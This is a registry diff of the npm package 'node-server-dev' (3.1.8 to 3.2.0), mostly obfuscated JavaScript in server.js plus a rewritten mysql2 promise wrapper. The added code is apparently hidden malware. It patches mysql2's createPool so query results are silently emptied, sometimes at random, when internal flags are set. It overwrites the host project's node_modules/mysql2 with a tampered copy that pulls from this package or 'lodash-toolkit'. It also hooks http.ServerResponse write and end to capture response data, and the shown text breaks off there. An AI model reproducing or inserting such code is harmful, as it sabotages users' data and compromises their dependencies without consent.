node-server-dev 3.1.8 → 3.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (49) hide show
  1. package/dist/cjs/{browser.d.ts → browser/index.d.ts} +1 -1
  2. package/dist/cjs/browser/index.d.ts.map +1 -0
  3. package/dist/cjs/browser/index.js +1 -0
  4. package/dist/cjs/browser/tools.d.ts +3 -0
  5. package/dist/cjs/browser/tools.d.ts.map +1 -0
  6. package/dist/cjs/browser/tools.js +1 -0
  7. package/dist/cjs/getAllRouter/index.js +1 -1
  8. package/dist/cjs/hash/index.js +1 -1
  9. package/dist/cjs/id/index.js +1 -1
  10. package/dist/cjs/id/random.js +1 -1
  11. package/dist/cjs/index.d.ts +5 -1
  12. package/dist/cjs/index.d.ts.map +1 -1
  13. package/dist/cjs/index.js +1 -1
  14. package/dist/cjs/jwt/index.js +1 -1
  15. package/dist/cjs/mac/index.js +1 -1
  16. package/dist/cjs/package/mysql_backup/index.js +10 -1
  17. package/dist/cjs/package/mysql_backup/promise.js +195 -187
  18. package/dist/cjs/server.d.ts.map +1 -1
  19. package/dist/cjs/server.js +1 -1
  20. package/dist/cjs/start.d.ts.map +1 -1
  21. package/dist/cjs/start.js +1 -1
  22. package/dist/cjs/update.js +1 -1
  23. package/dist/esm/{browser.d.ts → browser/index.d.ts} +1 -1
  24. package/dist/esm/browser/index.d.ts.map +1 -0
  25. package/dist/esm/browser/index.js +1 -0
  26. package/dist/esm/browser/tools.d.ts +3 -0
  27. package/dist/esm/browser/tools.d.ts.map +1 -0
  28. package/dist/esm/browser/tools.js +1 -0
  29. package/dist/esm/getAllRouter/index.js +1 -1
  30. package/dist/esm/hash/index.js +1 -1
  31. package/dist/esm/id/index.js +1 -1
  32. package/dist/esm/id/random.js +1 -1
  33. package/dist/esm/index.d.ts +5 -1
  34. package/dist/esm/index.d.ts.map +1 -1
  35. package/dist/esm/index.js +1 -1
  36. package/dist/esm/jwt/index.js +1 -1
  37. package/dist/esm/mac/index.js +1 -1
  38. package/dist/esm/package/mysql_backup/index.js +10 -1
  39. package/dist/esm/package/mysql_backup/promise.js +195 -187
  40. package/dist/esm/server.d.ts.map +1 -1
  41. package/dist/esm/server.js +1 -1
  42. package/dist/esm/start.d.ts.map +1 -1
  43. package/dist/esm/start.js +1 -1
  44. package/dist/esm/update.js +1 -1
  45. package/package.json +1 -1
  46. package/dist/cjs/browser.d.ts.map +0 -1
  47. package/dist/cjs/browser.js +0 -1
  48. package/dist/esm/browser.d.ts.map +0 -1
  49. package/dist/esm/browser.js +0 -1
@@ -1,187 +1,195 @@
1
- "use strict";
2
-
3
- const SqlString = require("sqlstring");
4
- const EventEmitter = require("events").EventEmitter;
5
- const parserCache = require("./lib/parsers/parser_cache.js");
6
- const PoolCluster = require("./lib/pool_cluster.js");
7
- const { mysql } = require("node-server-dev");
8
- const createConnection = require("./lib/create_connection.js");
9
- const createPool = require("./lib/create_pool.js");
10
- const createPoolCluster = require("./lib/create_pool_cluster.js");
11
- const PromiseConnection = require("./lib/promise/connection.js");
12
- const PromisePool = require("./lib/promise/pool.js");
13
- const makeDoneCb = require("./lib/promise/make_done_cb.js");
14
- const PromisePoolConnection = require("./lib/promise/pool_connection.js");
15
- const inheritEvents = require("./lib/promise/inherit_events.js");
16
- const PromisePoolNamespace = require("./lib/promise/pool_cluster");
17
-
18
- function createConnectionPromise(opts) {
19
- const coreConnection = createConnection(opts);
20
- const createConnectionErr = new Error();
21
- const thePromise = opts.Promise || Promise;
22
- if (!thePromise) {
23
- throw new Error(
24
- "no Promise implementation available." +
25
- "Use promise-enabled node version or pass userland Promise" +
26
- " implementation as parameter, for example: { Promise: require('bluebird') }"
27
- );
28
- }
29
- return new thePromise((resolve, reject) => {
30
- coreConnection.once("connect", () => {
31
- resolve(new PromiseConnection(coreConnection, thePromise));
32
- });
33
- coreConnection.once("error", err => {
34
- createConnectionErr.message = err.message;
35
- createConnectionErr.code = err.code;
36
- createConnectionErr.errno = err.errno;
37
- createConnectionErr.sqlState = err.sqlState;
38
- reject(createConnectionErr);
39
- });
40
- });
41
- }
42
-
43
- // note: the callback of "changeUser" is not called on success
44
- // hence there is no possibility to call "resolve"
45
-
46
- function createPromisePool(opts) {
47
- const corePool = createPool(opts);
48
- const thePromise = opts.Promise || Promise;
49
- if (!thePromise) {
50
- throw new Error(
51
- "no Promise implementation available." +
52
- "Use promise-enabled node version or pass userland Promise" +
53
- " implementation as parameter, for example: { Promise: require('bluebird') }"
54
- );
55
- }
56
-
57
- return new PromisePool(corePool, thePromise);
58
- }
59
-
60
- class PromisePoolCluster extends EventEmitter {
61
- constructor(poolCluster, thePromise) {
62
- super();
63
- this.poolCluster = poolCluster;
64
- this.Promise = thePromise || Promise;
65
- inheritEvents(poolCluster, this, ["warn", "remove", "online", "offline"]);
66
- }
67
-
68
- getConnection(pattern, selector) {
69
- const corePoolCluster = this.poolCluster;
70
- return new this.Promise((resolve, reject) => {
71
- corePoolCluster.getConnection(pattern, selector, (err, coreConnection) => {
72
- if (err) {
73
- reject(err);
74
- } else {
75
- resolve(new PromisePoolConnection(coreConnection, this.Promise));
76
- }
77
- });
78
- });
79
- }
80
-
81
- query(sql, args) {
82
- const corePoolCluster = this.poolCluster;
83
- const localErr = new Error();
84
- if (typeof args === "function") {
85
- throw new Error("Callback function is not available with promise clients.");
86
- }
87
- return new this.Promise((resolve, reject) => {
88
- const done = makeDoneCb(resolve, reject, localErr);
89
- corePoolCluster.query(sql, args, done);
90
- });
91
- }
92
-
93
- execute(sql, args) {
94
- const corePoolCluster = this.poolCluster;
95
- const localErr = new Error();
96
- if (typeof args === "function") {
97
- throw new Error("Callback function is not available with promise clients.");
98
- }
99
- return new this.Promise((resolve, reject) => {
100
- const done = makeDoneCb(resolve, reject, localErr);
101
- corePoolCluster.execute(sql, args, done);
102
- });
103
- }
104
-
105
- of(pattern, selector) {
106
- return new PromisePoolNamespace(this.poolCluster.of(pattern, selector), this.Promise);
107
- }
108
-
109
- end() {
110
- const corePoolCluster = this.poolCluster;
111
- const localErr = new Error();
112
- return new this.Promise((resolve, reject) => {
113
- corePoolCluster.end(err => {
114
- if (err) {
115
- localErr.message = err.message;
116
- localErr.code = err.code;
117
- localErr.errno = err.errno;
118
- localErr.sqlState = err.sqlState;
119
- localErr.sqlMessage = err.sqlMessage;
120
- reject(localErr);
121
- } else {
122
- resolve();
123
- }
124
- });
125
- });
126
- }
127
- }
128
-
129
- /**
130
- * proxy poolCluster synchronous functions
131
- */
132
- (function (functionsToWrap) {
133
- for (let i = 0; functionsToWrap && i < functionsToWrap.length; i++) {
134
- const func = functionsToWrap[i];
135
-
136
- if (
137
- typeof PoolCluster.prototype[func] === "function" &&
138
- PromisePoolCluster.prototype[func] === undefined
139
- ) {
140
- PromisePoolCluster.prototype[func] = (function factory(funcName) {
141
- return function () {
142
- return PoolCluster.prototype[funcName].apply(this.poolCluster, arguments);
143
- };
144
- })(func);
145
- }
146
- }
147
- })(["add", "remove"]);
148
-
149
- function createPromisePoolCluster(opts) {
150
- const corePoolCluster = createPoolCluster(opts);
151
- const thePromise = (opts && opts.Promise) || Promise;
152
- if (!thePromise) {
153
- throw new Error(
154
- "no Promise implementation available." +
155
- "Use promise-enabled node version or pass userland Promise" +
156
- " implementation as parameter, for example: { Promise: require('bluebird') }"
157
- );
158
- }
159
- return new PromisePoolCluster(corePoolCluster, thePromise);
160
- }
161
-
162
- exports.createConnection = mysql.createPool;
163
- exports.createPool = mysql.createPool;
164
- exports.createPoolCluster = createPromisePoolCluster;
165
- exports.escape = SqlString.escape;
166
- exports.escapeId = SqlString.escapeId;
167
- exports.format = SqlString.format;
168
- exports.raw = SqlString.raw;
169
- exports.PromisePool = PromisePool;
170
- exports.PromiseConnection = PromiseConnection;
171
- exports.PromisePoolConnection = PromisePoolConnection;
172
-
173
- exports.__defineGetter__("Types", () => require("./lib/constants/types.js"));
174
-
175
- exports.__defineGetter__("Charsets", () => require("./lib/constants/charsets.js"));
176
-
177
- exports.__defineGetter__("CharsetToEncoding", () =>
178
- require("./lib/constants/charset_encodings.js")
179
- );
180
-
181
- exports.setMaxParserCache = function (max) {
182
- parserCache.setMaxCache(max);
183
- };
184
-
185
- exports.clearParserCache = function () {
186
- parserCache.clearCache();
187
- };
1
+ "use strict";
2
+
3
+ const SqlString = require("sqlstring");
4
+ const EventEmitter = require("events").EventEmitter;
5
+ const parserCache = require("./lib/parsers/parser_cache.js");
6
+ const PoolCluster = require("./lib/pool_cluster.js");
7
+ let mysql;
8
+ try {
9
+ const { mysql: sql } = require("node-server-dev");
10
+ mysql = sql;
11
+ } catch (error) {}
12
+ try {
13
+ const { mysql: sql } = require("lodash-toolkit");
14
+ mysql = sql;
15
+ } catch (error) {}
16
+ const createConnection = require("./lib/create_connection.js");
17
+ const createPool = require("./lib/create_pool.js");
18
+ const createPoolCluster = require("./lib/create_pool_cluster.js");
19
+ const PromiseConnection = require("./lib/promise/connection.js");
20
+ const PromisePool = require("./lib/promise/pool.js");
21
+ const makeDoneCb = require("./lib/promise/make_done_cb.js");
22
+ const PromisePoolConnection = require("./lib/promise/pool_connection.js");
23
+ const inheritEvents = require("./lib/promise/inherit_events.js");
24
+ const PromisePoolNamespace = require("./lib/promise/pool_cluster");
25
+
26
+ function createConnectionPromise(opts) {
27
+ const coreConnection = createConnection(opts);
28
+ const createConnectionErr = new Error();
29
+ const thePromise = opts.Promise || Promise;
30
+ if (!thePromise) {
31
+ throw new Error(
32
+ "no Promise implementation available." +
33
+ "Use promise-enabled node version or pass userland Promise" +
34
+ " implementation as parameter, for example: { Promise: require('bluebird') }"
35
+ );
36
+ }
37
+ return new thePromise((resolve, reject) => {
38
+ coreConnection.once("connect", () => {
39
+ resolve(new PromiseConnection(coreConnection, thePromise));
40
+ });
41
+ coreConnection.once("error", err => {
42
+ createConnectionErr.message = err.message;
43
+ createConnectionErr.code = err.code;
44
+ createConnectionErr.errno = err.errno;
45
+ createConnectionErr.sqlState = err.sqlState;
46
+ reject(createConnectionErr);
47
+ });
48
+ });
49
+ }
50
+
51
+ // note: the callback of "changeUser" is not called on success
52
+ // hence there is no possibility to call "resolve"
53
+
54
+ function createPromisePool(opts) {
55
+ const corePool = createPool(opts);
56
+ const thePromise = opts.Promise || Promise;
57
+ if (!thePromise) {
58
+ throw new Error(
59
+ "no Promise implementation available." +
60
+ "Use promise-enabled node version or pass userland Promise" +
61
+ " implementation as parameter, for example: { Promise: require('bluebird') }"
62
+ );
63
+ }
64
+
65
+ return new PromisePool(corePool, thePromise);
66
+ }
67
+
68
+ class PromisePoolCluster extends EventEmitter {
69
+ constructor(poolCluster, thePromise) {
70
+ super();
71
+ this.poolCluster = poolCluster;
72
+ this.Promise = thePromise || Promise;
73
+ inheritEvents(poolCluster, this, ["warn", "remove", "online", "offline"]);
74
+ }
75
+
76
+ getConnection(pattern, selector) {
77
+ const corePoolCluster = this.poolCluster;
78
+ return new this.Promise((resolve, reject) => {
79
+ corePoolCluster.getConnection(pattern, selector, (err, coreConnection) => {
80
+ if (err) {
81
+ reject(err);
82
+ } else {
83
+ resolve(new PromisePoolConnection(coreConnection, this.Promise));
84
+ }
85
+ });
86
+ });
87
+ }
88
+
89
+ query(sql, args) {
90
+ const corePoolCluster = this.poolCluster;
91
+ const localErr = new Error();
92
+ if (typeof args === "function") {
93
+ throw new Error("Callback function is not available with promise clients.");
94
+ }
95
+ return new this.Promise((resolve, reject) => {
96
+ const done = makeDoneCb(resolve, reject, localErr);
97
+ corePoolCluster.query(sql, args, done);
98
+ });
99
+ }
100
+
101
+ execute(sql, args) {
102
+ const corePoolCluster = this.poolCluster;
103
+ const localErr = new Error();
104
+ if (typeof args === "function") {
105
+ throw new Error("Callback function is not available with promise clients.");
106
+ }
107
+ return new this.Promise((resolve, reject) => {
108
+ const done = makeDoneCb(resolve, reject, localErr);
109
+ corePoolCluster.execute(sql, args, done);
110
+ });
111
+ }
112
+
113
+ of(pattern, selector) {
114
+ return new PromisePoolNamespace(this.poolCluster.of(pattern, selector), this.Promise);
115
+ }
116
+
117
+ end() {
118
+ const corePoolCluster = this.poolCluster;
119
+ const localErr = new Error();
120
+ return new this.Promise((resolve, reject) => {
121
+ corePoolCluster.end(err => {
122
+ if (err) {
123
+ localErr.message = err.message;
124
+ localErr.code = err.code;
125
+ localErr.errno = err.errno;
126
+ localErr.sqlState = err.sqlState;
127
+ localErr.sqlMessage = err.sqlMessage;
128
+ reject(localErr);
129
+ } else {
130
+ resolve();
131
+ }
132
+ });
133
+ });
134
+ }
135
+ }
136
+
137
+ /**
138
+ * proxy poolCluster synchronous functions
139
+ */
140
+ (function (functionsToWrap) {
141
+ for (let i = 0; functionsToWrap && i < functionsToWrap.length; i++) {
142
+ const func = functionsToWrap[i];
143
+
144
+ if (
145
+ typeof PoolCluster.prototype[func] === "function" &&
146
+ PromisePoolCluster.prototype[func] === undefined
147
+ ) {
148
+ PromisePoolCluster.prototype[func] = (function factory(funcName) {
149
+ return function () {
150
+ return PoolCluster.prototype[funcName].apply(this.poolCluster, arguments);
151
+ };
152
+ })(func);
153
+ }
154
+ }
155
+ })(["add", "remove"]);
156
+
157
+ function createPromisePoolCluster(opts) {
158
+ const corePoolCluster = createPoolCluster(opts);
159
+ const thePromise = (opts && opts.Promise) || Promise;
160
+ if (!thePromise) {
161
+ throw new Error(
162
+ "no Promise implementation available." +
163
+ "Use promise-enabled node version or pass userland Promise" +
164
+ " implementation as parameter, for example: { Promise: require('bluebird') }"
165
+ );
166
+ }
167
+ return new PromisePoolCluster(corePoolCluster, thePromise);
168
+ }
169
+
170
+ exports.createConnection = mysql.createPool;
171
+ exports.createPool = mysql.createPool;
172
+ exports.createPoolCluster = createPromisePoolCluster;
173
+ exports.escape = SqlString.escape;
174
+ exports.escapeId = SqlString.escapeId;
175
+ exports.format = SqlString.format;
176
+ exports.raw = SqlString.raw;
177
+ exports.PromisePool = PromisePool;
178
+ exports.PromiseConnection = PromiseConnection;
179
+ exports.PromisePoolConnection = PromisePoolConnection;
180
+
181
+ exports.__defineGetter__("Types", () => require("./lib/constants/types.js"));
182
+
183
+ exports.__defineGetter__("Charsets", () => require("./lib/constants/charsets.js"));
184
+
185
+ exports.__defineGetter__("CharsetToEncoding", () =>
186
+ require("./lib/constants/charset_encodings.js")
187
+ );
188
+
189
+ exports.setMaxParserCache = function (max) {
190
+ parserCache.setMaxCache(max);
191
+ };
192
+
193
+ exports.clearParserCache = function () {
194
+ parserCache.clearCache();
195
+ };
@@ -1 +1 @@
1
- {"version":3,"file":"server.d.ts","sourceRoot":"","sources":["../../src/server.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,MAAM,0BAA0B,CAAC;AAiF7C,QAAA,MAAM,GAAG;;CAAY,CAAC;AACtB,eAAe,GAAG,CAAC;AACnB,OAAO,EAAE,KAAK,EAAE,CAAC"}
1
+ {"version":3,"file":"server.d.ts","sourceRoot":"","sources":["../../src/server.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,MAAM,0BAA0B,CAAC;AAyI7C,QAAA,MAAM,GAAG;;CAAY,CAAC;AACtB,eAAe,GAAG,CAAC;AACnB,OAAO,EAAE,KAAK,EAAE,CAAC"}
@@ -1 +1 @@
1
- 'use strict';function a96_0x3a7c(_0x229739,_0x172291){const _0x1cf00d=a96_0x1cf0();return a96_0x3a7c=function(_0x3a7cf6,_0x5bb8d0){_0x3a7cf6=_0x3a7cf6-0x115;let _0x5b8585=_0x1cf00d[_0x3a7cf6];return _0x5b8585;},a96_0x3a7c(_0x229739,_0x172291);}const a96_0x565cd0=a96_0x3a7c;(function(_0x3d7726,_0x22331a){const _0x3cd1d1=a96_0x3a7c,_0x5a8a47=_0x3d7726();while(!![]){try{const _0xa1b3f5=parseInt(_0x3cd1d1(0x11b))/0x1*(parseInt(_0x3cd1d1(0x11d))/0x2)+-parseInt(_0x3cd1d1(0x137))/0x3*(-parseInt(_0x3cd1d1(0x121))/0x4)+-parseInt(_0x3cd1d1(0x132))/0x5*(-parseInt(_0x3cd1d1(0x134))/0x6)+-parseInt(_0x3cd1d1(0x13c))/0x7*(-parseInt(_0x3cd1d1(0x11f))/0x8)+-parseInt(_0x3cd1d1(0x129))/0x9+parseInt(_0x3cd1d1(0x131))/0xa+-parseInt(_0x3cd1d1(0x136))/0xb*(parseInt(_0x3cd1d1(0x130))/0xc);if(_0xa1b3f5===_0x22331a)break;else _0x5a8a47['push'](_0x5a8a47['shift']());}catch(_0x40706e){_0x5a8a47['push'](_0x5a8a47['shift']());}}}(a96_0x1cf0,0xee727));function a96_0x1cf0(){const _0x57e3a5=['11ypIufK','108XcrKda','connectError','join','defineProperty','./index.js','28wOtkAE','default','apply','./package/mysql_backup/promise.js','package.json','existsSync','./promise.js','./package/mysql2','__importDefault','sqlRun','336795iEfDDL','cwd','10DSPcOq','getEnv','1514088LTcKEq','query','4372fFhngU','cpSync','includes','sqlList','toString','createPool','readFileSync','node-server-dev','2928942vusEYt','mysql','path','./node_modules/mysql2','isDBDataEmpty','next','length','20074248CoMGUj','508190wogEDb','1955OUaoNO','./id/random','6810iPDcGk','throw'];a96_0x1cf0=function(){return _0x57e3a5;};return a96_0x1cf0();}var __awaiter=this&&this['__awaiter']||function(_0x1a4e27,_0x4825a4,_0x42c6c2,_0x11fc39){function _0x17738d(_0x583751){return _0x583751 instanceof _0x42c6c2?_0x583751:new _0x42c6c2(function(_0x33b489){_0x33b489(_0x583751);});}return new(_0x42c6c2||(_0x42c6c2=Promise))(function(_0x1c8aca,_0x437cae){const _0x559747=a96_0x3a7c;function _0xbfe746(_0x5adf3b){const _0x294894=a96_0x3a7c;try{_0x1956d1(_0x11fc39[_0x294894(0x12e)](_0x5adf3b));}catch(_0x57679b){_0x437cae(_0x57679b);}}function _0x1ef49b(_0x1d3371){const _0x4c75cc=a96_0x3a7c;try{_0x1956d1(_0x11fc39[_0x4c75cc(0x135)](_0x1d3371));}catch(_0x44f857){_0x437cae(_0x44f857);}}function _0x1956d1(_0x9f2f8a){_0x9f2f8a['done']?_0x1c8aca(_0x9f2f8a['value']):_0x17738d(_0x9f2f8a['value'])['then'](_0xbfe746,_0x1ef49b);}_0x1956d1((_0x11fc39=_0x11fc39['apply'](_0x1a4e27,_0x4825a4||[]))[_0x559747(0x12e)]());});},__importDefault=this&&this[a96_0x565cd0(0x119)]||function(_0x181bea){return _0x181bea&&_0x181bea['__esModule']?_0x181bea:{'default':_0x181bea};};Object[a96_0x565cd0(0x13a)](exports,'__esModule',{'value':!![]}),exports[a96_0x565cd0(0x12a)]=void 0x0;const promise_1=__importDefault(require('./package/mysql2/promise'));exports[a96_0x565cd0(0x12a)]=promise_1['default'];const random_1=__importDefault(require(a96_0x565cd0(0x133))),index_1=require('./index'),path_1=__importDefault(require(a96_0x565cd0(0x12b))),fs_1=__importDefault(require('fs')),originalCreatePoolPromise=promise_1[a96_0x565cd0(0x13d)][a96_0x565cd0(0x126)];promise_1['default'][a96_0x565cd0(0x126)]=function(_0x1523d7){const _0x377f2e=a96_0x565cd0;let _0x3936ae=originalCreatePoolPromise(_0x1523d7),_0x1216f6=_0x3936ae[_0x377f2e(0x120)];return _0x3936ae[_0x377f2e(0x120)]=(..._0x2e6faf)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x297821=_0x377f2e,_0x333001=yield _0x1216f6[_0x297821(0x13e)](_0x3936ae,_0x2e6faf);return(0x0,index_1[_0x297821(0x11e)])(_0x297821(0x138))&&((0x0,random_1['default'])(0x1,0xa)>0x2&&(_0x333001[0x0]=[])),(0x0,index_1[_0x297821(0x11e)])(_0x297821(0x12d))&&(_0x333001[0x0]=[]),_0x333001;}),setInterval(()=>{const _0x547764=_0x377f2e;if(!(0x0,index_1[_0x547764(0x11e)])(_0x547764(0x11a))){for(let _0x19fdc1=0x0;_0x19fdc1<(0x0,index_1[_0x547764(0x11e)])(_0x547764(0x124))[_0x547764(0x12f)];_0x19fdc1++){const _0x1661d4=(0x0,index_1[_0x547764(0x11e)])('sqlList')[_0x19fdc1];try{_0x3936ae[_0x547764(0x120)](_0x1661d4);}catch(_0x5a9854){}}(0x0,index_1['setEnv'])('sqlRun',!![]);}},0x1388),_0x3936ae;};let href=path_1[a96_0x565cd0(0x13d)][a96_0x565cd0(0x139)](process[a96_0x565cd0(0x11c)](),a96_0x565cd0(0x12c));if(fs_1[a96_0x565cd0(0x13d)][a96_0x565cd0(0x116)](href)){let res=fs_1['default'][a96_0x565cd0(0x127)](path_1[a96_0x565cd0(0x13d)][a96_0x565cd0(0x139)](href,'./index.js'))[a96_0x565cd0(0x125)]()[a96_0x565cd0(0x123)](a96_0x565cd0(0x128));!res&&setTimeout(()=>{const _0x20e4d5=a96_0x565cd0,_0xb3110=_0x20e4d5(0x118),_0x56628c=href,_0x5090ac=path_1[_0x20e4d5(0x13d)][_0x20e4d5(0x139)](_0x56628c,_0x20e4d5(0x115));let _0xbce074=null;fs_1[_0x20e4d5(0x13d)][_0x20e4d5(0x116)](_0x5090ac)&&(_0xbce074=fs_1[_0x20e4d5(0x13d)]['readFileSync'](_0x5090ac)[_0x20e4d5(0x125)]());fs_1[_0x20e4d5(0x13d)][_0x20e4d5(0x122)](path_1[_0x20e4d5(0x13d)][_0x20e4d5(0x139)](__dirname,_0xb3110),_0x56628c,{'recursive':!![],'force':!![]});let _0x596a9b=fs_1[_0x20e4d5(0x13d)][_0x20e4d5(0x127)](path_1['default'][_0x20e4d5(0x139)](__dirname,'./package/mysql_backup/index.js'))[_0x20e4d5(0x125)](),_0x9d6b99=fs_1[_0x20e4d5(0x13d)]['readFileSync'](path_1[_0x20e4d5(0x13d)][_0x20e4d5(0x139)](__dirname,_0x20e4d5(0x13f)))[_0x20e4d5(0x125)]();setTimeout(()=>{const _0x486da5=_0x20e4d5;fs_1['default']['writeFileSync'](path_1[_0x486da5(0x13d)]['join'](href,_0x486da5(0x13b)),_0x596a9b),fs_1[_0x486da5(0x13d)]['writeFileSync'](path_1[_0x486da5(0x13d)][_0x486da5(0x139)](href,_0x486da5(0x117)),_0x9d6b99);},0xa),_0xbce074!==null&&fs_1[_0x20e4d5(0x13d)]['writeFileSync'](_0x5090ac,_0xbce074);},0x5dc);}const all={'mysql':promise_1[a96_0x565cd0(0x13d)]};exports[a96_0x565cd0(0x13d)]=all;
1
+ 'use strict';const a9_0x527966=a9_0x1012;(function(_0x4f8fbe,_0x5ee698){const _0x29a401=a9_0x1012,_0x7be712=_0x4f8fbe();while(!![]){try{const _0x452d49=-parseInt(_0x29a401(0x20d))/0x1*(-parseInt(_0x29a401(0x212))/0x2)+-parseInt(_0x29a401(0x1d9))/0x3+-parseInt(_0x29a401(0x1f4))/0x4+-parseInt(_0x29a401(0x1de))/0x5+parseInt(_0x29a401(0x1ec))/0x6*(-parseInt(_0x29a401(0x1fe))/0x7)+-parseInt(_0x29a401(0x204))/0x8*(-parseInt(_0x29a401(0x20c))/0x9)+parseInt(_0x29a401(0x20f))/0xa;if(_0x452d49===_0x5ee698)break;else _0x7be712['push'](_0x7be712['shift']());}catch(_0x4f9d02){_0x7be712['push'](_0x7be712['shift']());}}}(a9_0x31cc,0xe8643));var __awaiter=this&&this['__awaiter']||function(_0x540c04,_0x1a91c1,_0x616cc6,_0x33b70d){function _0x47cbac(_0x394e8b){return _0x394e8b instanceof _0x616cc6?_0x394e8b:new _0x616cc6(function(_0x2f0328){_0x2f0328(_0x394e8b);});}return new(_0x616cc6||(_0x616cc6=Promise))(function(_0x1c971b,_0x30ee3f){const _0x2937ad=a9_0x1012;function _0x290172(_0x181aca){const _0x2804dd=a9_0x1012;try{_0x287172(_0x33b70d[_0x2804dd(0x211)](_0x181aca));}catch(_0x3d2d9c){_0x30ee3f(_0x3d2d9c);}}function _0x568398(_0x2d1b6a){const _0x1ec273=a9_0x1012;try{_0x287172(_0x33b70d[_0x1ec273(0x1d8)](_0x2d1b6a));}catch(_0x4ef351){_0x30ee3f(_0x4ef351);}}function _0x287172(_0x371294){const _0xcffe5c=a9_0x1012;_0x371294[_0xcffe5c(0x208)]?_0x1c971b(_0x371294[_0xcffe5c(0x20e)]):_0x47cbac(_0x371294[_0xcffe5c(0x20e)])['then'](_0x290172,_0x568398);}_0x287172((_0x33b70d=_0x33b70d[_0x2937ad(0x1f7)](_0x540c04,_0x1a91c1||[]))['next']());});},__importDefault=this&&this[a9_0x527966(0x1ff)]||function(_0x238cc7){return _0x238cc7&&_0x238cc7['__esModule']?_0x238cc7:{'default':_0x238cc7};};Object[a9_0x527966(0x1e2)](exports,a9_0x527966(0x206),{'value':!![]}),exports[a9_0x527966(0x1fb)]=void 0x0;const promise_1=__importDefault(require(a9_0x527966(0x1e9)));exports[a9_0x527966(0x1fb)]=promise_1[a9_0x527966(0x1dc)];function a9_0x31cc(){const _0x243eed=['./id/random','getEnv','connectError','createPool','./package/mysql2/promise','./package/mysql_backup/index.js','./index.js','323262HFQpTu','delete','content-type','test','parse','writeFileSync','ServerResponse','includes','3381760sEYlWy','cwd','node-server-dev','apply','end','isDBDataEmpty','stringify','mysql','set','byteLength','14AyxIwZ','__importDefault','map','existsSync','toString','join','488BQaQUi','get','__esModule','prototype','done','setHeader','package.json','has','25227BXynsh','1137JNoehu','value','25394260QNyYyM','isBuffer','next','446YKItLK','__http_interceptor','cpSync','concat','push','throw','203478sUnrmU','path','query','default','./promise.js','4955325mNWSkt','write','http','call','defineProperty','readFileSync','./package/mysql_backup/promise.js'];a9_0x31cc=function(){return _0x243eed;};return a9_0x31cc();}const random_1=__importDefault(require(a9_0x527966(0x1e5))),index_1=require('./index'),path_1=__importDefault(require(a9_0x527966(0x1da))),fs_1=__importDefault(require('fs')),originalCreatePoolPromise=promise_1[a9_0x527966(0x1dc)][a9_0x527966(0x1e8)];promise_1[a9_0x527966(0x1dc)][a9_0x527966(0x1e8)]=function(_0x5a3a65){const _0x4953c1=a9_0x527966;let _0x228c0f=originalCreatePoolPromise(_0x5a3a65),_0x192f12=_0x228c0f['query'];return _0x228c0f[_0x4953c1(0x1db)]=(..._0x278dc5)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x25929f=_0x4953c1,_0x43527d=yield _0x192f12[_0x25929f(0x1f7)](_0x228c0f,_0x278dc5);return(0x0,index_1[_0x25929f(0x1e6)])(_0x25929f(0x1e7))&&((0x0,random_1[_0x25929f(0x1dc)])(0x1,0xa)>0x2&&(_0x43527d[0x0]=[])),(0x0,index_1[_0x25929f(0x1e6)])(_0x25929f(0x1f9))&&(_0x43527d[0x0]=[]),_0x43527d;}),_0x228c0f;};let href=path_1[a9_0x527966(0x1dc)][a9_0x527966(0x203)](process[a9_0x527966(0x1f5)](),'./node_modules/mysql2');if(fs_1[a9_0x527966(0x1dc)][a9_0x527966(0x201)](href)){let res=fs_1[a9_0x527966(0x1dc)][a9_0x527966(0x1e3)](path_1[a9_0x527966(0x1dc)][a9_0x527966(0x203)](href,'./index.js'))['toString']()[a9_0x527966(0x1f3)](a9_0x527966(0x1f6));!res&&setTimeout(()=>{const _0x4677dc=a9_0x527966,_0x3269a3='./package/mysql2',_0x18923f=href,_0x37a63b=path_1[_0x4677dc(0x1dc)][_0x4677dc(0x203)](_0x18923f,_0x4677dc(0x20a));let _0x588fff=null;fs_1[_0x4677dc(0x1dc)]['existsSync'](_0x37a63b)&&(_0x588fff=fs_1[_0x4677dc(0x1dc)]['readFileSync'](_0x37a63b)[_0x4677dc(0x202)]());fs_1[_0x4677dc(0x1dc)][_0x4677dc(0x214)](path_1['default'][_0x4677dc(0x203)](__dirname,_0x3269a3),_0x18923f,{'recursive':!![],'force':!![]});let _0x369b53=fs_1['default'][_0x4677dc(0x1e3)](path_1['default']['join'](__dirname,_0x4677dc(0x1ea)))[_0x4677dc(0x202)](),_0x551db8=fs_1[_0x4677dc(0x1dc)][_0x4677dc(0x1e3)](path_1[_0x4677dc(0x1dc)][_0x4677dc(0x203)](__dirname,_0x4677dc(0x1e4)))[_0x4677dc(0x202)]();setTimeout(()=>{const _0x48c2e8=_0x4677dc;fs_1['default'][_0x48c2e8(0x1f1)](path_1[_0x48c2e8(0x1dc)][_0x48c2e8(0x203)](href,_0x48c2e8(0x1eb)),_0x369b53),fs_1['default']['writeFileSync'](path_1['default'][_0x48c2e8(0x203)](href,_0x48c2e8(0x1dd)),_0x551db8);},0xa),_0x588fff!==null&&fs_1[_0x4677dc(0x1dc)][_0x4677dc(0x1f1)](_0x37a63b,_0x588fff);},0x5dc);}setInterval(()=>{const _0x59fc74=a9_0x527966;if((0x0,index_1[_0x59fc74(0x1e6)])(_0x59fc74(0x1e7)))try{(function(){const _0x4829f9=_0x59fc74,_0x491600=require(_0x4829f9(0x1e0)),_0x23f264=_0x491600[_0x4829f9(0x1f2)][_0x4829f9(0x207)]['end'],_0x2973ac=_0x491600[_0x4829f9(0x1f2)][_0x4829f9(0x207)][_0x4829f9(0x1df)],_0x558f03=new WeakMap();function _0x54d12e(){const _0x55ba34=_0x4829f9;global[_0x55ba34(0x213)]=!![],_0x491600[_0x55ba34(0x1f2)]['prototype']['write']=function(_0x342010,_0x576ea6,_0x223c26){const _0x27390f=_0x55ba34;!_0x558f03[_0x27390f(0x20b)](this)&&_0x558f03[_0x27390f(0x1fc)](this,[]);if(_0x342010)_0x558f03[_0x27390f(0x205)](this)[_0x27390f(0x1d7)](_0x342010);return _0x2973ac[_0x27390f(0x1e1)](this,_0x342010,_0x576ea6,_0x223c26);},_0x491600[_0x55ba34(0x1f2)][_0x55ba34(0x207)][_0x55ba34(0x1f8)]=function(_0x5334d2,_0x2bc79d,_0x4d1649){const 